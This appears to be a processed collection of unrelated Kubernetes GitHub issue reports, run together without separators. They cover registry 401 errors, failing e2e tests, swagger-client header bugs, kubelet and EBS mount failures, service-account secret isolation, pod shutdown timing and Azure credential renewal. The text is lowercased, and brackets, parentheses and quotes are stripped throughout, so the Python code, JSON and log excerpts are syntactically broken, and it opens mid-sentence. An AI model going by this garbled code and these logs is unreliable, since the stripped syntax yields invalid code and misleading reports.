61548  note /v1/ , which results in a 401  > \ get /v1/repositories/library/nginx/tags/latest http/1.1\  401  contrast this with the same request from my local machine:  > myip - -  23/jun/2016:09:06:34 +0000  \ get /v2/nginx/manifests/latest http/1.1\  200 1956 > myip - -  23/jun/2016:09:06:36 +0000  \ get /v2/nginx/blobs/sha256:0d409d33b27e47423b049f7f863faa08655a8c901749c2b25b93ca67d01a470d http/1.1\  200 3915 > myip - -  23/jun/2016:09:06:36 +0000  \ get /v2/nginx/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 http/1.1\  200 32 > myip - -  23/jun/2016:09:06:36 +0000  \ get /v2/nginx/blobs/sha256:bcd41daec8cc835577e660ddef75e655f6ff3742bad92c9c498d8eba097b512a http/1.1\  200 194  kubernetes was provisioned using  cluster/kube-up.sh  so i cant actually get into the box to try and perform a docker pull.  any help would be gratefully received.

docker implemented the support to mount tmpfs volume on top of any directory in a container  see  1  https://github.com/docker/docker/pull/13587  . kubernetes should also support this functionality by exposing this possibility on its api. this would be needed to allow --read-only containers, but the content of these directories could be still modified.

http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1.6/3\r \r multiple broken tests: \r \r failed:  k8s.io  daemon set  serial  should not update pod when spec was updated and update strategy is on delete\r    \r error waiting for daemon pod to start\r expected error:\r     < errors.errorstring | 0xc4203a2600>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:246\r    \r \r issues about this test specifically:  42342\r \r failed:  k8s.io  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate 5m26s\r    \r error waiting for daemon pod to start\r expected error:\r     < errors.errorstring | 0xc4203a2600>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:274\r    \r \r issues about this test specifically:  42343 \r \r failed:  k8s.io  daemon set  serial  should run and stop simple daemon\r    \r error waiting for daemon pod to start\r expected error:\r     < errors.errorstring | 0xc4203a2600>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:118\r    \r \r issues about this test specifically:  42344 \r \r \r

as our e2e tests have indicated for a while, support for readyreplicas in deployments in base kubernetes  37959 was not reciprocated in federation. this is a regression.

in head for release-1.5  and i think in master as well  the generated code from  v1.json  i believe has some issues with  content-type  headers.  i think the issue comes down to the function\r \r    python\r def select_header_content_type self, content_types :\r     \ \ \ \r     returns  content-type  based on an array of content_types provided.\r \r     :param content_types: list of content-types.\r     :return: content-type  e.g. application/json .\r     \ \ \ \r     if not content_types:\r         return 'application/json'\r \r     content_types = list map lambda x: x.lower  , content_types  \r \r     if 'application/json' in content_types:\r         return 'application/json'\r     else:\r         return content_types 0 \r    \r \r throughout the code headers are set like the following:\r \r > self.api_client.select_header_content_type  ' / '  \r \r and this in turn leads to   ...'content-type': ' / '}  .  my understanding is that this becomes a problem when the code finals reaches  rest.py  and various header inspection routes traffic, none which is for   /  .  \r \r there are also issues in the  request  function in  rest.py .  namely, the error which shows up:\r \r > swagger_client/rest.py\ , line 145, in request\r         if query_params:\r     unboundlocalerror: local variable 'r' referenced before assignment\r \r the actual error is obfuscated  in this case  /  is not valid  but the post doesn't succeed and  r  is not assigned\r \r   kubernetes version    use  1.5.1  :\r \r \r   environment  :\r -   ubuntu 16.04  :\r \r   what happened  :\r unable to create a namespace\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r wget https://raw.githubusercontent.com/kubernetes/kubernetes/master/api/swagger-spec/v1.json\r swagger-codegen generate -i v1.json -l python\r    \r \r calling  create_namespace  with valid v1namespace object\r

 \r after some time, usualy once a day, all the pods deployed on a cluster ends up a dead and kubelet logs a lot of error like this:\r \r    \r jul 27 10:55:10 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:10.710794     855 kubelet.go:1912  syncloop  pleg : \ impressive-swan-nginx-ingress-controller-x1cm4_default 52bec2b1-7255-11e7-8313-06f61a7ca0ba \ , event: &pleg.podlifecycleevent{id:\ 52bec2b1-7255-11e7-8313-06f61a7ca0ba\ , type:\ containerdied\ , data:\ 468fe549b5ec480796fafd6bdb7e80668a869fe20dd4f6256c8321b14dea1a75\ }\r jul 27 10:55:10 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : w0727 10:55:10.711017     855 pod_container_deletor.go:77  container \ 468fe549b5ec480796fafd6bdb7e80668a869fe20dd4f6256c8321b14dea1a75\  not found in pod's containers\r jul 27 10:55:10 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:10.866742     855 kuberuntime_manager.go:500  pod \ impressive-swan-nginx-ingress-controller-x1cm4_default 52bec2b1-7255-11e7-8313-06f61a7ca0ba \  container \ nginx-ingress-controller\  is unhealthy, it will be killed and re-created.\r jul 27 10:55:10 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:10.866814     855 kuberuntime_container.go:561  killing container \ docker://36001b967b8e23388173c1655488bd348c7f250b10aa62086adb0e23fc4a7a0e\  with 60 second grace period\r jul 27 10:55:10 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:10.870280     855 kuberuntime_manager.go:741  checking backoff for container \ nginx-ingress-controller\  in pod \ impressive-swan-nginx-ingress-controller-x1cm4_default 52bec2b1-7255-11e7-8313-06f61a7ca0ba \ \r jul 27 10:55:11 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:11.049386     855 qos_container_manager_linux.go:303   containermanager : failed to update qos cgroup configuration\r jul 27 10:55:11 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:11.049401     855 kubelet_pods.go:694  failed to update qos cgroups while killing pod: failed to set supported cgroup subsystems for cgroup /kubepods/burstable: failed to set config for supported subsystems : failed to write 2 to cpu.shares: open /var/lib/rkt/pods/run/cb32f496-d289-412d-95a1-75fc8c2556bb/stage1/rootfs/opt/stage2/flannel/rootfs/sys/fs/cgroup/cpu,cpuacct/kubepods/burstable/cpu.shares: no such file or directory\r jul 27 10:55:11 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:11.049578     855 qos_container_manager_linux.go:303   containermanager : failed to update qos cgroup configuration\r jul 27 10:55:11 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:11.049591     855 kubelet.go:1579  failed to update qos cgroups while syncing pod: failed to set supported cgroup subsystems for cgroup /kubepods/burstable: failed to set config for supported subsystems : failed to write 2 to cpu.shares: open /var/lib/rkt/pods/run/cb32f496-d289-412d-95a1-75fc8c2556bb/stage1/rootfs/opt/stage2/flannel/rootfs/sys/fs/cgroup/cpu,cpuacct/kubepods/burstable/cpu.shares: no such file or directory\r jul 27 10:55:11 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : i0727 10:55:11.579936     855 kube_docker_client.go:331  stop pulling image \ gcr.io/google_containers/nginx-ingress-controller:0.9.0-beta.11\ : \ status: image is up to date for gcr.io/google_containers/nginx-ingress-controller:0.9.0-beta.11\ \r jul 27 10:55:11 ip-10-20-3-11.eu-west-1.compute.internal kubelet 855 : e0727 10:55:11.628216     855 remote_runtime.go:208  startcontainer \ 81cae6e176a44459db48e47caf684025b481ae6c1531221ffaf3b886b9b0f475\  from runtime service failed: rpc error: code = 2 desc = failed to start container \ 81cae6e176a44459db48e47caf684025b481ae6c1531221ffaf3b886b9b0f475\ : error response from daemon: {\ message\ :\ cannot join network of a non running container: 468fe549b5ec480796fafd6bdb7e80668a869fe20dd4f6256c8321b14dea1a75\ }\r    \r \r i'm not sure if it is related to flanneld, or what went wrong. i have to restart kubelet on all affected nodes and then everything works again for some time.\r \r i have not experienced this problem on k8s 1.5.2, but i can see it on 1.6.7 and 1.7.2.\r \r i don't have a reliable way how to reproduce this, i don't know what triggers the problem.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : coreos 1409.2.0\r - kernel  e.g.  uname -a  : 4.11.9-coreos\r

i have observe that there is a lot of overhead when kubectl tries to get some large data from apiserver.\r e.g. list configmaps that could be 100 mb+, in json will cause the etcd overloaded and not responding. it works when list in protobuf.\r steps to reproduce:\r 1. create configmaps that are larger than 100mb\r 2. run  kubectl proxy \r 3.  curl localhost:8001/api/v1/namespaces/default/configmaps/ --header \ accept: application/vnd.kubernetes.protobuf\  > curloutput  this works.\r 4.  curl localhost:8001/api/v1/namespaces/default/configmaps/ --header \ accept: application/json\  > curloutput  this errors and will lose connection to apiserver.\r \r proposed change:\r change kubectl to use protobuf by default when communicating with api server.\r \r @kubernetes/sig-cli-maintainers \r cc: @mml \r

 \r   what happened  :\r user submitted a pod with an invalid pod spec via a custom controller.\r \r quota was exhausted as object validation happens after admission.\r \r   what you expected to happen  :\r this is a known limitation of the design today, what i would like to do is validate the pod spec in the interim to cover a broader set of invalid pod scenarios to mitigate the impact to users today until such time we can move validation before quota evaluation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above\r \r   anything else we need to know?  :\r no\r \r   environment  :\r all versions of kube

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / \r   what happened  :\r \r the following runs failed with message such as:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:191\r deleting { replicationcontroller} load-small-15\r expected error:\r     < errors.errorstring | 0xc420296a30>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:632\r \r    \r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8173\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/217\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/427

kubectl create -f example-cassandra-cluster.yaml \r \r error: unable to recognize \ example-cassandra-cluster.yaml\ : no matches for cassandra.database.instaclustr.com/, kind=cassandracluster\r  cat   example-cassandra-cluster.yaml\r apiversion: \ cassandra.database.instaclustr.com/v1beta2\ \r kind: \ cassandracluster\ \r metadata:\r name: \ example-cassandra-cluster\ \r spec:\r size: 3\r version: \ 3.11\ \r pod:\r resources:\r   limits:\r     memory: \ 512mi\

\r \r   what happened  :\r in aws console it s showing ebs volume is created and attached to worker node  but  i am getting  this error on kubelet that unable to mount volume\r \r   mounting command: systemd-run\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/20b9d9a7-81d0-11e8-b81b-02de2bc48464/volumes/kubernetes.io~aws-ebs/pvc-20b904eb-81d0-11e8-b81b-02de2bc48464 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-southeast-1b/vol-0\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : output: running scope as unit run-15015.scope.\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-southeast-1b/vol-0b3723c759569d671 does not exist\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : e0707 11:08:53.168094    1839 aws_ebs.go:419  mount of disk /var/lib/kubelet/pods/20b9d9a7-81d0-11e8-b81b-02de2bc48464/volumes/kubernetes.io~aws-ebs/pvc-20b904eb-81d0-11e8-b81b-02de2bc48464 failed: mount failed: exit status 32\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : mounting command: systemd-run\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/20b9d9a7-81d0-11e8-b81b-02de2bc48464/volumes/kubernetes.io~aws-ebs/pvc-20b904eb-81d0-11e8-b81b-02de2bc48464 --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-southeast-1b/vol-0\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : output: running scope as unit run-15015.scope.\r jul 07 11:08:53 ip-172-31-14-233.ap-southeast-1.compute.internal kubelet 1839 : mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-southeast-1b/vol-0b3723c759569d671 does not exist\r   \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl create ns operator\r $kubectl create -f https://raw.githubusercontent.com/upmc-enterprises/elasticsearch-operator/master/example/controller.yaml -n operator\r kubectl create -n operator -f https://raw.githubusercontent.com/upmc-enterprises/elasticsearch-operator/master/example/example-es-cluster.yaml\r \r   anything else we need to know?  :\r  i have configured kubernetes 1.11 using kubelet with ha , i just want to know \r   environment  :\r - kubernetes version v1.11.0\r - cloud provider or hardware configuration: aws\r - os : name=\ centos linux\ \r    version=\ 7  core \ \r \r - kernel:  3.10.0-862.3.2.el7.x86_64\r - install tools: kubeadm 1.11\r - others: elastic operator \r @kubernetes/sig-aws

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r unable to get internal networking is not working .\r

a key use case for service accounts is compartmentalization of secrets.  in other words:  > as a user, i can create serviceaccounts/a, whose pods have access to secrets/a, but not secrets/b; and serviceaccount/b whose pods can access secrets/b but not secretsa.  a specific use case raised by a kubernetes user was:  > the e-commerce pods can access stripe api keys, but the email-sending pods can't.  these use cases as possible, but currently hard to get right  ---  the way you could do the second use case currently is: 1. create secret \ stripekey\  with the stripe api keys. 2. create kubernetes service account called \ ecommerce\ . 3. add a reference from \ serviceaccounts/ecommerce\  to \ secrets/stripekey\ . 4. create kubernetes service account called \ email\ . 5. create e-commerce pods/rcs with .spec.serviceaccount=ecommerce.  mount the stripe secret in the pod. 6. create email pods/rcs with .spec.serviceaccount=email.  7. ensure that pods with serviceaccount=email cannot get  \ secrets/stripekey\ .  actions needed -      this entire procedure needs to be well documented.   e.g. in docs/user-guide/service-accounts.md . -     there needs to be e2e testing which ensures compartmentalization of secrets.  -     step 7 above needs to be easier, preferably happening by default rather than requiring action.  step 7 deserves more detail:  currently, a newly created service account has  root -like api permissions.   there are two ways to reduce these permissions:  the first is to block the service account from accessing the api entirely.  ways to do this are discussed in  16779.  the current way is a hack.  you have to put a certain  volumemount  on each container in each pod of that service account, which in turn blocks the service account token from being mounted.  issue  16779 suggest the alternative of having a flag on each service account that blocks creation of an api token entirely.    the second is to edit the authorization config for each service account.  currently, only \ abac\  authorization is supported, and requires manually editing a file read by the apiserver.  this doesn't work at all on gke.  both of these options requires specific action from the user to get the behavior they most likely want.  we should look at changing the defaults.  for example, we could change the default when creating a new service account to not have an api token.

once authentication and authorization are firmly in place, we'll need to make sure that some later change does not inadvertently disable it.   ideally, that would be an e2e test for gce and maybe some other cloud providers that uses the actual binaries and network settings and defaults and salt config and all that jazz.  exhaustive testing should go in unit tests and test/integration/auth_test.go  but a basic \ alice can get/put a pod and bob can't\  e2e test is needed.

we found a regression on apiserver cors that was previously fixed by  17093. it seems the regression is caused by  18113 during apiserver refactoring.  related issue  16431.

correction  : this is not a regression from old behavior.  there was a proposed fix that would have caused it to be ignored that was never merged: https://github.com/kubernetes/kubernetes/pull/18477/files diff-e3f052839796781484de133fea5d5b5dr62

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r feature\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r -->\r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r when working on  44740, we noticed that lack of proper unit testing framework which tests the individual functions makes it pretty much non-extensible. so, we need to come up with a proper unit testing framework that can resolve this. \r \r \r \r \r

there are a few flags that are mismatching/missing across both setups. a notable e.g is audit-logging was not turned on for kubemark, but was for real cluster which didn't allow us to catch a serious scalability regression on kubemark  ref: https://github.com/kubernetes/kubernetes/issues/51899 . few other differences:\r - admission plugins\r - feature gates\r - request timeout\r - etcd-quorum-read\r ...\r \r we need to fix this.\r \r cc @kubernetes/sig-scalability-misc @gmarek @wojtek-t

is this a bug report or feature request?  :\r maybe bug\r \r \r   what happened  :\r when delete service type=loadbalancer,  service is deleted,\r but loadbalancer not deleted in neutron.\r error log:  resource not found\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.9\r - cloud provider or hardware configuration:  openstack \r - os  e.g. from /etc/os-release : ubuntu 14.04\r - kernel  e.g.  uname -a  : 4.2.0-27-generic\r - install tools:\r - others:\r

 \r please link to this issue or comment on this issue with known errata for the 1.9.x release. this follows what we have done for prior releases.\r we will be populating the \ known issues\  section of 1.9.0 and above release notes based on this issue\r \r fyi @enisoc @nickchase @bradamant3 \u2028\r cc/ @kubernetes/kubernetes-release-managers

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r i have deployed k8s cluster using magnum with 3 masters and 3 nodes:\r \r  dev root@ucsubu3000:~/.kube  kubectl get nodes\r name status age version\r k8s-test-xtlwldidn5vg-master-0 ready,schedulingdisabled 36m v1.7.7\r k8s-test-xtlwldidn5vg-master-1 ready,schedulingdisabled 36m v1.7.7\r k8s-test-xtlwldidn5vg-master-2 ready,schedulingdisabled 36m v1.7.7\r k8s-test-xtlwldidn5vg-minion-0 ready 34m v1.7.7\r k8s-test-xtlwldidn5vg-minion-1 ready 34m v1.7.7\r k8s-test-xtlwldidn5vg-minion-2 ready 34m v1.7.7\r \r but it looks like there is problem with authenticating to kube-apiserver from pods.\r \r in coredns logs i see:\r \r e0110 10:11:07.239014 5 reflector.go:214  github.com/coredns/coredns/vendor/k8s.io/client-go/1.5/tools/cache/reflector.go:109: failed to list  api.endpoints: the server has asked for the client to p\r rovide credentials  get endpoints \r e0110 10:11:07.239326 5 reflector.go:214  github.com/coredns/coredns/vendor/k8s.io/client-go/1.5/tools/cache/reflector.go:109: failed to list  api.service: the server has asked for the client to pro\r vide credentials  get services \r e0110 10:11:07.239455 5 reflector.go:214  github.com/coredns/coredns/vendor/k8s.io/client-go/1.5/tools/cache/reflector.go:109: failed to list  api.namespace: the server has asked for the client to p\r rovide credentials  get namespaces \r \r in dashboard logs i see:\r \r  dev root@ucsubu3000:~/.kube  kubectl -n kube-system logs kubernetes-dashboard-3804488410-xwxcv\r using http port: 9090\r creating api server client for https://10.254.0.1:443\r error while initializing connection to kubernetes apiserver. this most likely means that the cluster is misconfigured  e.g., it has invalid apiserver certificates or service accounts configuration  or the --apiserver-host param points to a server that does not exist. reason: the server has asked for the client to provide credentials\r refer to the troubleshooting guide for more information: https://github.com/kubernetes/dashboard/blob/master/docs/user-guide/troubleshooting.md\r \r when i deploy helm in tiller logs i see:\r \r  tiller  2018/01/10 10:44:07 preparing install for\r  storage  2018/01/10 10:44:07 getting release \ muddled-woodpecker.v1\ \r  storage/driver  2018/01/10 10:44:07 get: failed to get \ muddled-woodpecker.v1\ : the server has asked for the client to provide credentials  get configmaps muddled-woodpecker.v1 \r  tiller  2018/01/10 10:44:07 info: generated name muddled-woodpecker is taken. searching again.\r  storage  2018/01/10 10:44:07 getting release \ guilded-fish.v1\ \r  storage/driver  2018/01/10 10:44:07 get: failed to get \ guilded-fish.v1\ : the server has asked for the client to provide credentials  get configmaps guilded-fish.v1 \r  tiller  2018/01/10 10:44:07 info: generated name guilded-fish is taken. searching again.\r  storage  2018/01/10 10:44:07 getting release \ foiled-bunny.v1\ \r  storage/driver  2018/01/10 10:44:07 get: failed to get \ foiled-bunny.v1\ : the server has asked for the client to provide credentials  get configmaps foiled-bunny.v1 \r  tiller  2018/01/10 10:44:07 info: generated name foiled-bunny is taken. searching again.\r  storage  2018/01/10 10:44:07 getting release \ yodeling-antelope.v1\ \r  storage/driver  2018/01/10 10:44:07 get: failed to get \ yodeling-antelope.v1\ : the server has asked for the client to provide credentials  get configmaps yodeling-antelope.v1 \r  tiller  2018/01/10 10:44:07 info: generated name yodeling-antelope is taken. searching again.\r  storage  2018/01/10 10:44:07 getting release \ anxious-kiwi.v1\ \r  storage/driver  2018/01/10 10:44:07 get: failed to get \ anxious-kiwi.v1\ : the server has asked for the client to provide credentials  get configmaps anxious-kiwi.v1 \r  tiller  2018/01/10 10:44:07 info: generated name anxious-kiwi is taken. searching again.\r  tiller  2018/01/10 10:44:07 warning: no available release names found after 5 tries\r  tiller  2018/01/10 10:44:07 failed install prepare step: no available release name found\r   what you expected to happen  :\r pods are working correctly.\r   how to reproduce it  as minimally and precisely as possible   :\r deploy k8s cluster using magnum.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-10-02t10:03:16z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : fedora atomic 26\r - kernel  e.g.  uname -a  : 4.13.9-200.fc26.x86_64\r - install tools:\r - others:\r

flaky tests\r    pull-kubernetes-e2e-gce  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/pull/59284/pull-kubernetes-e2e-gce/ \r    ci-kubernetes-e2e-gci-gce  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/ \r \r    consistency:  86%  http://storage.googleapis.com/k8s-metrics/job-flakes-latest.json \r \r    flakiest test \r  sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator\r \r    failures in testgrid\r    pull-kubernetes-e2e-gce  https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-e2e-gce&include-filter-by-regex=aggregator%20should%20be%20able%20to%20support%20th \r    ci-kubernetes-e2e-gci-gce  https://k8s-testgrid.appspot.com/sig-api-machinery gce \r \r    flakes in the past week:  29  http://storage.googleapis.com/k8s-metrics/flakes-latest.json \r \r    triage link\r more nuanced logs and details can be found at https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=api-machinery&job=ci-kubernetes-e2e-gci-gce&test=aggregator%20should%20be%20able%20to%20support%20the%201.7%20sample%20ap\r \r   error\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/aggregator.go:76\r gave up waiting for apiservice wardle to come up successfully\r expected error:\r     < errors.errorstring | 0xc420131150>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/aggregator.go:337\r \r / /  /sig-api-machinery\r @kubernetes/sig-api-machinery-bugs \r /assign @liggitt \r \r @liggitt can you please help triage this issue?

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when a pod is  terminating  and has not lifecycle shutdown hooks  sigterm  is send to pid 1. roughly at the same time others stop sending traffic to the pod.\r \r this can lead to situations where the pod software is already shut down but other entities are still trying to reach the pod.\r \r this behavior leads to errors and service disruptions.\r \r   workaround  \r \r we added a  /bin/sh -c \ sleep 15\   lifecycle hook to all pod containers that didn't specify a lifecycle hook. the results are promising: we see way less errors during deploys.\r \r however there are 2 issues with this approach:\r - containers aren't guaranteed to have  /bin/sh \r - we've seen problems if the container / pod got corrupted   /bin/sh  won't start \r \r   what you expected to happen  :\r \r kubernetes should respect the fact that it takes a moment to drain a pod. the exact timing depends on various factors  e.g. dns ttl  and should be configurable.\r \r there are various possible ways to solve this:\r - a sleep or delay lifecycle hook\r - another grace periode that can be specified as part of the pod\r - a kubelet flag\r \r a similar solution was proposed with containers that execute on shutdown. however those solutions have a larger scope and won't solve the stability issues we were seeing with executing e.g.  /bin/sh   docker and container can sometimes break  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r these exact timeline is well documented in the official documentation: https://kubernetes.io/docs/concepts/workloads/pods/pod/ termination-of-pods\r \r the biggest offenders are  usually  nginx  sigterm == non-graceful shutdown  and a dns chache + headless services on the client side  ip stays active for the ttl duration .\r \r   anything else we need to know?  :\r \r i have tried to implement a simple sleep lifecycle hook and it looks pretty straight forward.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release :  debian jessie \r - kernel  e.g.  uname -a  :  linux 4.15.3+soundcloud2 \r - install tools: custom provisioning/installation based on release tarballs\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the  gonum.org/v1/gonum  module as a whole depends on  golang.org/x/exp/rand , which has been introduced after  golang.org/x/exp/inotify   which we depend on  was retired.\r \r we are currently \ lucky\  in the sense that the subset of  gonum.org/v1/gonum  we use actually doesn't depend on  golang.org/x/exp , so that we get away with using an outdated version of golang.org/x/exp by virtue of the fact that godep doesn't track any of this.\r \r go modules are not that forgiving though, and the current situation is not a valid solution to the system of constraints they consider. therefore this issue blocks a migration to go modules.\r \r   what you expected to happen  :\r \r the dependency graph should be more consistent\r \r   anything else we need to know?  :\r \r  inotify  is a can of worms, and past migrations to the maintained  fsnotify  have been repeatedly reverted. it's unclear that there is an easy way out.\r arguably the path of least resistance would be to properly fork the old  inotify  codebase into a standalone package, that both  kubelet  and  cadvisor  can depend on without holding back other parts of the dependency graph. then migration to  fsnotify  can proceed at its own pace.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : not sure, maybe a help request or feature request for providing documentation for specific use-case\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r my cloud provider's  azure  service principal's credentials were expired, so k8s is not able to perform actions anymore  e.g. binding persistent volumes .\r what i did already:\r \r 1. renew credentials for service principal... verified working\r 2. put new password aka.  aadclientsecret  to /etc/kubernetes/azure.json which is referenced for  --cloud-config  parameter\r 3. restarted kubelet service on masters and agents\r 4. manually deleted in namespace  kube-system : \r - secret  default-token \r - pod kube-apiserver\r - pod kube-controller\r - pod kube-scheduler\r - pod kube-proxy\r 5. deleted and reapplied persistent volume claim\r \r this does   not   work. still showing  401 , :\r \r    \r failed to provision volume with storageclass \ elastic-storage\ : azure.bearerauthorizer withauthorization: \r failed to refresh the token for request to https://management.microsoftazure.de/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/redacted/providers/microsoft.compute/disks/redacted1-dynamic-pv00000000-0000-0000-0000-000000000000-0017fa102acb?api-version=2016-04-30-preview: statuscode=401 -- original error: adal: refresh request failed. status code = '401'. response body: {\ error\ :\ invalid_client\ ,\ error_description\ :\ aadsts70002: error validating credentials. aadsts50012: invalid client secret is provided.\\r\ trace id: 00000000-0000-0000-0000-000000000000\\r\ correlation id: 00000000-0000-0000-0000-000000000000\\r\ timestamp: 2018-09-26 14:01:21z\ ,\ error_codes\ : 70002,50012 ,\ timestamp\ :\ 2018-09-26 14:01:21z\ ,\ trace_id\ :\ 00000000-0000-0000-0000-000000000000\ ,\ correlation_id\ :\ 00000000-0000-0000-0000-000000000000\ }\r    \r \r my question to be  urgently  answered, is:\r    what is the procedure to make kubernetes use the newly provided credentials for accessing cloud provider?    i didn't find a documentation. \r \r \r \r   what you expected to happen  :\r kubernetes 